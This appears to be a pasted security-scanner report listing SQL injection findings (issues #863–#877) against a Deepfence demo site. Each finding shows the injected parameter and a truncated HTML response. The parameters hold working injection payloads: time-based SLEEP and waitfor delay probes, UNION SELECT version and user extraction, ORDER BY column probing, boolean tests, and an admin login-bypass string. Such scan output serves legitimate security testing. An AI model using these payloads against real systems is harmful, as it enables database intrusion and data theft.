iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #863
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor pg_SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #864
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),3,4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #865
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #866Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #867
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #868
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ');waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #869
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'LIKE'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #870
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #871
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),"'3'"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #872
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioORDER BY 16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #873
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' ORDER BY 1--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #874
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1234 ' AND 1=0 UNION ALL SELECT 'admin', '
81dc9bdb52d04dc20036dbd8313ed055
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #875
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 7300=7300 AND 'pKlZ'='pKlY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #876
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 7300=7300 AND 'pKlZ'='pKlZ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #877Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
